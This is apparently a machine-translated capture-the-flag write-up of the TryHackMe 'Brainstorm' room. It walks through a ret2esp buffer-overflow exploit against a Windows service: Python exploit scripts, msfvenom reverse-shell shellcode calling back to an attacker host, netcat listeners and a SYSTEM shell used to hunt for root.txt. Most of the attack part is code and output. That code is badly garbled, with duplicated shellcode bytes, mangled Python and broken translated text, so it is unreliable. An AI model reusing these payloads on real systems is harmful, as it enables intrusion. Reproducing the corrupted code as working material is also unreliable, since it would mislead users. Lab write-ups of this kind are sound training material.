(hacklab㉿hacklab) - [〜/tryhackme/inabronstorm]└─$ cat test.py#! b“ \ xba \ xae \ x14 \ x6c \ x9a \ xda \ xd6 \ xd9 \ xd9 \ x74 \ x74 \ x24 \ xf4 \ xf4 \ x58 \ x2b” buf += b“ \ xc9 \ xb1 \ x52 \ x83 \ xe8 \ xfc \ x31 \ x50 \ x50 \ x0e \ x03 \ xfe \ xfe \ x1a \ x8e” buf += b“ \ x6f \ x02 \ xca \ xcc \ x90 \ xfa \ x0b \ xb1 \ xb1 \ x19 \ x1f \ x1f \ x3a \ xf1 \ x7e” buf += b“ \ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ x58 \ xa8 \ x11 \ xde \ xde \ x74 \ xdf” buf += b“ \ x92 \ x55 \ xa3 \ xee \ x23 \ xc5 \ x97 \ x97 \ x71 \ xa0 \ xa0 \ x14 \ xc4 \ xc4 \ x51 \ x99” buf += b“ \ xd6 \ x19 \ x90 \ xde \ x0b \ xd3 \ xc0 \ xb7 \ xb7 \ x40 \ x46 \ x46 \ xf4 \ xbc \ xbc \ x1d” buf += b“ \ x5b \ x7f \ x8e \ xb0 \ xdb \ x9c \ x47 \ xb2 \ xca \ xca \ x33 \ xd3 \ xd3 \ xed \ xcc” buf += b“ \ xb2 \ x30 \ x86 \ x44 \ xac \ x55 \ xa3 \ x1f \ x1f \ x47 \ xad \ x5f \ x5f \ x9e \ x81” buf += b“ \ xff \ xa0 \ x0d \ xec \ xcf \ x52 \ x4f \ x29 \ xf7 \ xf7 \ x8c \ x3a \ x3a \ x43 \ x43 \ x0b” buf += b“ \ x30 \ x3d \ x90 \ x71 \ xee \ xc8 \ x02 \ xd1 \ xd1 \ x65 \ x6a \ x6a \ xee \ xe3 \ xe3 \ xaa” buf += b“ \ xed \ x65 \ xef \ x07 \ x79 \ x21 \ xec \ x96 \ xae \ xae \ x5a \ x5a \ x08 \ x12 \ x51 \ x51” buf += b“ \ x8c \ x98 \ x60 \ x76 \ x08 \ xc0 \ x33 \ x17 \ x17 \ x09 \ xac \ xac \ x92 \ x28 \ x28 \ x49” buf += b“ \ x0f \ x4a \ x8d \ x02 \ xa2 \ x9f \ xbc \ xbc \ x49 \ xab \ x6c \ x6c \ x8d \ x71 \ x71 \ x2b” buf += b“ \ xfb \ x86 \ x02 \ x19 \ xa4 \ x3c \ x8c \ x8c \ x11 \ x2d \ x9b \ x9b \ x4b \ x4b \ x55 \ x04” buf += b“ \ x5b \ xc3 \ xa8 \ xa7 \ x9c \ xca \ xca \ x6e \ xf3 \ xcc \ xcc \ x64 \ x46 \ x46 \ x7c \ x87” buf += b“ \ x74 \ x67 \ xa9 \ x08 \ x24 \ xc7 \ xc7 \ x02 \ xe9 \ x94 \ x94 \ xa7 \ xf2 \ x81 \ x81 \ xfe” buf += b“ \ x27 \ x2c \ xb1 \ x01 \ xe2 \ x45 \ x58 \ xf8 \ xf8 \ x65 \ xaa \ xaa \ x35 \ x35 \ x02 \ xe8” buf += b“ \ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xc1 \ xe4 \ x72 \ x75 \ x75 \ x84 \ xbf \ xbf \ xea \ xea \ xec” buf += b“ \ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ x7a \ xa8 \ xc7 \ xc7 \ x43 \ x43 \ x8b \ xc5” buf += b“ \ xdb \ x34 \ x7b \ x90 \ x81 \ x93 \ x84 \ x84 \ x0e \ xad \ x78 \ x78 \ x16 \ xd5 \ x2d \ x2d” buf += b“ \ xf6 \ x0b \ x42 \ x7a \ x5f \ xfd \ x9b \ xee \ xee \ x4d \ xa4 \ x35 \ x35 \ x0c \ x8c” buf += b“ \ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ x19 \ xbd \ xa6 \ x05 \ x05 \ xe7 \ x3e” buf += b“ \ xe3 \ x71 \ xb7 \ x68 \ xbd \ x2f \ x2f \ x71 \ xc3 \ xc3 \ x0f \ x99 \ x2b \ xb8 \ xb8 \ xd9” buf += b“ \ x4d \ xad \ xf2 \ xd9 \ x0b \ xb2 \ xde \ xaf \ xaf \ xf3 \ x03 \ xb7 \ xb7 \ xe9 \ xe9 \ x0c” buf += b“ \ xab \ x5f \ xfe \ x75 \ xd1 \ xff \ xf \ x01 \ xac \ x51 \ x51 \ x1f \ xe0 \ x64 \ x64 \ xac” buf += b“ \ x88 \ xbd \ xed \ x0d \ xd5 \ xd5 \ x3d \ xd8 \ x52 \ xe0 \ xbd \ xbd \ xe8 \ x2a \ x2a \ x17” buf += b“ \ xdd \ x99 \ x2f \ x53 \ x59 \ x59 \ x72 \ x42 \ xcc \ xcc \ x0c \ x74 \ x74 \ xf1 \ XED \ x04” 2012).encode(“ UTF-8”)消息 += EIP消息 += nop message += buf尝试:print('[ +]发送缓冲区')s = socket.socket(socket.abock.abect.abock.socket.socke.socke.socke.socke.socke.socke.socke.socke.socke.socke.socke.socke.socke.Stream)s.connect((adveress,ports,ports,port)S.Recv(1024)S.Recv(1024)S.Send(1024)S.Send(1024)S.Send(s.send(1024) s.Recv(1024)print(“消息”)s.send(消息 +'\ r \ r \ n'.endode(“ utf-8”))例外为e:e:print(e)print(e)print('[!]无法连接到应用程序。')sys.exit(')sys.exit(0)
在攻击机上听。
┌ - (hacklab㉿hacklab) - [〜]└─$ nc -nlvp 1234在[any] 1234 ...上聆听
运行此状态。
┌ - (hacklab㉿hacklab) - [〜/tryhackme/rabhstorm]└─$ python3 test.py [+]发送缓冲邮件
我设法得到了外壳!
(hacklab㉿hacklab) - [〜]└─$ nc -nlvp 1234在[Any] 1234上聆听[192.168.0.158],来自(未知)[192.168.0.0.126] 60010 Microsoft Windows [版本10.0.0.0.0.0.0.22621.1848](C)Microft。版权所有。 C:\ Users \ **** \ **** \ Brainstorm>
这仍然是本地机器,所以让我们为目标机器定制一点。
首先,重建反向外壳。
(hacklab㉿hacklab) - [〜/tryhackme/rabhstorm]└─$ msfvenom -p windows/shell_reverse_tcp lhost = 10.18.110.90 lport = 1234 exitfunc = 1234 exitfunc = treend -e x86/shikata/shikata/shikata/shikata_ga_nai -no -no platter MSF :: Module :: Platform :: Windows fromageload [ - ]未选择拱门,从有效负载中选择Arch:X86找到1个兼容的编码器,试图用X86/SHIKATA_GA_NAI X86/SHIKATA_GA_NAI的1个迭代编码有效负载,并与351 size doelellolage 351(iTeperation)大小:351字节PY文件的最终大小:1712 bytes buf = b“” buf += b“ \ xd9 \ xe8 \ xba \ xba \ x61 \ x61 \ x87 \ x63 \ xd7 \ xd7 \ xd9 \ xd9 \ x74 \ x74 \ x74 \ x24 \ x24 b“ \ xc9 \ xb1 \ x52 \ x31 \ x50 \ x17 \ x17 \ x03 \ x50 \ x17 \ x17 \ x83 \ x89 \ x89 \ x7b \ x81” buf += b“ \ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ x6d \ xa9 \ x44 \ x44 \ xa0 \ x5c \ x5c \ xe9 \ x33” buf += b“ \ xa1 \ xcf \ xd9 \ x30 \ xe7 \ xe3 \ x92 \ x92 \ x15 \ x13 \ x13 \ x77 \ xd6 \ xb1 \ xb1 \ x14” buf += b“ \ x30 \ x5d \ xe4 \ x1b \ xc1 \ xce \ xd4 \ x3a \ x3a \ x41 \ x41 \ x0d \ x09 \ x9c \ x9c \ x78” buf += b“ \ xde \ x5c \ xdd \ xbd \ x03 \ xac \ x8f \ x8f \ x16 \ x4f \ x4f \ x03 \ x3f \ x3f \ x12 \ x05” buf += b“ \ x98 \ xb4 \ x68 \ x8b \ x98 \ x29 \ x38 \ xaa \ xaa \ x89 \ xfc \ x32 \ x32 \ xf5 \ x09” buf += b“ \ xff \ x97 \ x8d \ x03 \ xe7 \ xf4 \ xa8 \ xda \ xda \ x9c \ x9c \ xcf \ xcf \ x47 \ xdd \ x74” buf += b“ \ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ xfe \ x09 \ x85 \ xf9 \ xf9 \ xf6 \ xf6 \ x69” buf += b“ \ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ xfe \ x09 \ x85 \ xf9 \ xf9 \ xf6 \ xf6 \ x69” buf += b“ \ x38 \ xfa \ xcd \ x10 \ xe6 \ x8f \ xd5 \ xb3 \ xb3 \ x6d \ x6d \ x37 \ x31 \ x31 \ x45 \ x45 \ xa1” buf += b“ \ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x91 \ x69 \ x97 \ x97 \ x6a \ x1a \ x1a \ x8c” buf += b“ \ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ xc2 \ x0d \ x0d \ xed \ xeb \ xeb \ x14” buf += b“ \ xee \ x52 \ x4e \ x5f \ x03 \ x86 \ xe3 \ x02 \ x02 \ x4c \ x6b \ x6b \ xce \ xbc \ xbc \ x8c” buf += b“ \ xe3 \ x59 \ xcf \ xbe \ xac \ xf1 \ x47 \ xf3 \ x25 \ x25 \ xdc \ x90 \ x90 \ xf4 \ x1f” buf += b“ \ x98 \ x0e \ x0b \ xa0 \ xd9 \ x07 \ xc8 \ xf4 \ xf4 \ x89 \ x3f \ x3f \ xf9 \ x74 \ x74 \ x42” buf += b“ \ xbf \ x06 \ xa1 \ xc5 \ xc5 \ xef \ xa8 \ x1a \ xa6 \ x5f \ x5f \ x09 \ xcb \ xcb \ x4e \ xb5” buf += b“ \ x86 \ x34 \ x6e \ xb6 \ x4c \ x5d \ x05 \ x4d \ x4d \ x07 \ x68 \ x68 \ xc8 \ xc8 \ x23 \ x8d \ x8d” buf += b“ \ x04 \ xee \ xbb \ x35 \ x07 \ x67 \ x5d \ x5d \ x5f \ xb7 \ x2e \ x2e \ xf6 \ xc8 \ xc8 \ x2e” buf += b“ \ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x24 \ x46 \ x0e \ x64 \ x64 \ xcd \ x23” buf += b“ \ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x54 \ x16 \ x5a \ x5a \ xd0 \ x33 \ x33 \ xe6 \ xe6” buf += b“ \ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x57 \ x6f \ x66 \ x5c \ x5c \ x45 \ x72” buf += b“ \ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x57 \ x6f \ x66 \ x5c \ x5c \ x45 \ x72” buf += b“ \ xfe \ xa7 \ xcd \ xa9 \ xc3 \ x26 \ xcc \ x3c \ x3c \ x7f \ x7f \ x0d \ xde \ xde \ xf8 \ x80” buf += b“ \ x09 \ x8a \ x54 \ xd7 \ xc7 \ x64 \ x64 \ x13 \ x81 \ xa9 \ xde \ xde \ xcd \ xcd \ x7e \ x60” buf += b“ \ xb6 \ x88 \ x4c \ xb3 \ xc0 \ x94 \ x98 \ x45 \ x45 \ x2c \ x24 \ x24 \ x75 \ x10 \ x10 \ x53” buf += b“ \ x89 \ x11 \ x94 \ x2c \ xf7 \ x81 \ x5b \ xe7 \ xb3 \ xb3 \ xa2 \ xb9 \ xb9 \ x2d \ xce” buf += b“ \ x4a \ x64 \ xa4 \ x73 \ x17 \ x97 \ x97 \ x13 \ xb7 \ x2e \ x2e \ x14 \ x14 \ x91 \ x48 \ xd5” buf += b“ \ x04 \ xd0 \ x4d \ x91 \ x82 \ x09 \ x3c \ x3c \ x8a \ x66 \ x66 \ x2d \ x93 \ x93 \ xab \ xa2”
接下来,重写buf。
┌ - ─(hacklab㉿hacklab) - [〜/tryhackme/rahinstorm]└─$ cat test3.py#!/usr/bin/python进口插座,sys address = '10 .131.55'port = 9999 b“ \ xd9 \ xe8 \ xba \ x61 \ x87 \ x63 \ xd7 \ xd7 \ xd9 \ x74 \ x24 \ x24 \ xf4 \ xf4 \ x58 \ x31” buf += b“ \ xc9 \ xb1 \ x52 \ x31 \ x50 \ x17 \ x17 \ x03 \ x50 \ x17 \ x17 \ x83 \ x89 \ x89 \ x7b \ x81” buf += b“ \ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ x6d \ xa9 \ x44 \ x44 \ xa0 \ x5c \ x5c \ xe9 \ x33” buf += b“ \ xa1 \ xcf \ xd9 \ x30 \ xe7 \ xe3 \ x92 \ x92 \ x15 \ x13 \ x13 \ x77 \ xd6 \ xb1 \ xb1 \ x14” buf += b“ \ x30 \ x5d \ xe4 \ x1b \ xc1 \ xce \ xd4 \ x3a \ x3a \ x41 \ x41 \ x0d \ x09 \ x9c \ x9c \ x78” buf += b“ \ xde \ x5c \ xdd \ xbd \ x03 \ xac \ x8f \ x8f \ x16 \ x4f \ x4f \ x03 \ x3f \ x3f \ x12 \ x05” buf += b“ \ x98 \ xb4 \ x68 \ x8b \ x98 \ x29 \ x38 \ xaa \ xaa \ x89 \ xfc \ x32 \ x32 \ xf5 \ x09” buf += b“ \ xff \ x97 \ x8d \ x03 \ xe7 \ xf4 \ xa8 \ xda \ xda \ x9c \ x9c \ xcf \ xcf \ x47 \ xdd \ x74” buf += b“ \ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ xfe \ x09 \ x85 \ xf9 \ xf9 \ xf6 \ xf6 \ x69” buf += b“ \ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ xfe \ x09 \ x85 \ xf9 \ xf9 \ xf6 \ xf6 \ x69” buf += b“ \ x38 \ xfa \ xcd \ x10 \ xe6 \ x8f \ xd5 \ xb3 \ xb3 \ x6d \ x6d \ x37 \ x31 \ x31 \ x45 \ x45 \ xa1” buf += b“ \ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x91 \ x69 \ x97 \ x97 \ x6a \ x1a \ x1a \ x8c” buf += b“ \ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ xc2 \ x0d \ x0d \ xed \ xeb \ xeb \ x14” buf += b“ \ xee \ x52 \ x4e \ x5f \ x03 \ x86 \ xe3 \ x02 \ x02 \ x4c \ x6b \ x6b \ xce \ xbc \ xbc \ x8c” buf += b“ \ xe3 \ x59 \ xcf \ xbe \ xac \ xf1 \ x47 \ xf3 \ x25 \ x25 \ xdc \ x90 \ x90 \ xf4 \ x1f” buf += b“ \ x98 \ x0e \ x0b \ xa0 \ xd9 \ x07 \ xc8 \ xf4 \ xf4 \ x89 \ x3f \ x3f \ xf9 \ x74 \ x74 \ x42” buf += b“ \ xbf \ x06 \ xa1 \ xc5 \ xc5 \ xef \ xa8 \ x1a \ xa6 \ x5f \ x5f \ x09 \ xcb \ xcb \ x4e \ xb5” buf += b“ \ x86 \ x34 \ x6e \ xb6 \ x4c \ x5d \ x05 \ x4d \ x4d \ x07 \ x68 \ x68 \ xc8 \ xc8 \ x23 \ x8d \ x8d” buf += b“ \ x04 \ xee \ xbb \ x35 \ x07 \ x67 \ x5d \ x5d \ x5f \ xb7 \ x2e \ x2e \ xf6 \ xc8 \ xc8 \ x2e” buf += b“ \ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x24 \ x46 \ x0e \ x64 \ x64 \ xcd \ x23” buf += b“ \ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x54 \ x16 \ x5a \ x5a \ xd0 \ x33 \ x33 \ xe6 \ xe6” buf += b“ \ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x57 \ x6f \ x66 \ x5c \ x5c \ x45 \ x72” buf += b“ \ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x57 \ x6f \ x66 \ x5c \ x5c \ x45 \ x72” buf += b“ \ xfe \ xa7 \ xcd \ xa9 \ xc3 \ x26 \ xcc \ x3c \ x3c \ x7f \ x7f \ x0d \ xde \ xde \ xf8 \ x80” buf += b“ \ x09 \ x8a \ x54 \ xd7 \ xc7 \ x64 \ x64 \ x13 \ x81 \ xa9 \ xde \ xde \ xcd \ xcd \ x7e \ x60” buf += b“ \ xb6 \ x88 \ x4c \ xb3 \ xc0 \ x94 \ x98 \ x45 \ x45 \ x2c \ x24 \ x24 \ x75 \ x10 \ x10 \ x53” buf += b“ \ x89 \ x11 \ x94 \ x2c \ xf7 \ x81 \ x5b \ xe7 \ xb3 \ xb3 \ xa2 \ xb9 \ xb9 \ x2d \ xce” buf += b“ \ x4a \ x64 \ xa4 \ x73 \ x17 \ x97 \ x97 \ x13 \ xb7 \ x2e \ x2e \ x14 \ x14 \ x91 \ x48 \ xd5” buf += b“ \ x04 \ xd0 \ x4d \ x91 \ x82 \ x82 \ x09 \ x3c \ x8a \ x8a \ x66 \ x66 \ x2d \ x93 \ x93 \ xab \ xa2” esp = b = b'\ xdf \ xdf \ x14 2012).encode("utf-8") message += esp message += nop message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send(user + '\r\n'.encode("utf-8")) s.Recv(1024)print(“消息”)s.send(消息 +'\ r \ r \ n'.endode(“ utf-8”))例外为e:e:print(e)print(e)print('[!]无法连接到应用程序。')sys.exit(')sys.exit(0)
在这种状态下,当我运行它时,我能够成功渗透目标机器。
(hacklab㉿hacklab) - [〜]└─$ nc -nlvp 1234在[任何] 1234 ...上聆听(未知)[10.10.131.55] 49175 Microsoft Windows [版本6.1.1.7601] CopyRight(C)Microsoft 2009 microsoft。版权所有。 C:\ Windows \ System32> Whoami Whoami nt Authority \ System
我将尝试寻找root.txt。
(hacklab㉿hacklab) - [〜]└─$ nc -nlvp 1234 1⨯在[any] 1234上聆听[10.18.110.90] [10.10.131.55] 49196 49196 Microsoft Windows [版本6.1.1.7601] Copyright(C)2009 Mictoft(C)2009 microsf(C)版权所有。 ... c:\ users \ drake \ desktop>驱动器C中的dir dir音量没有标签。音量序列号为C87F-5040 C的目录:\ Users \ Drake \ Desktop 08/29/2019 10:55 PM<DIR> 。 08/29/2019 10:55 PM<DIR> .. 08/29/2019 10:55 PM 32 root.txt 1文件32字节2 dir(s)19,703,422,976 bytes bytes免费C:\ users \ users \ drake \ drake \ desktop> type root.txt C:\ Users \ Drake \ Desktop>
我搜索了目录并找到了root.txt!
回答

概括
这次,我尝试了“ RET2ESP攻击,这是缓冲区溢出攻击之一”。
这很困难,但是在阅读了各种文章之后,我终于明白了。 。 。就是这样。
有一些我不知道答案,所以将来我会做一些研究。 。 。
参考和站点
pencil.io: https://pencer.io/ctf/ctf-thm-brainstorm/
nop-blog: https://nop-blog.tech/tryhackme/brainstorm/
steflan-security.com: https://steflan-security.com/tryhackme-brainstorm-walkthrough/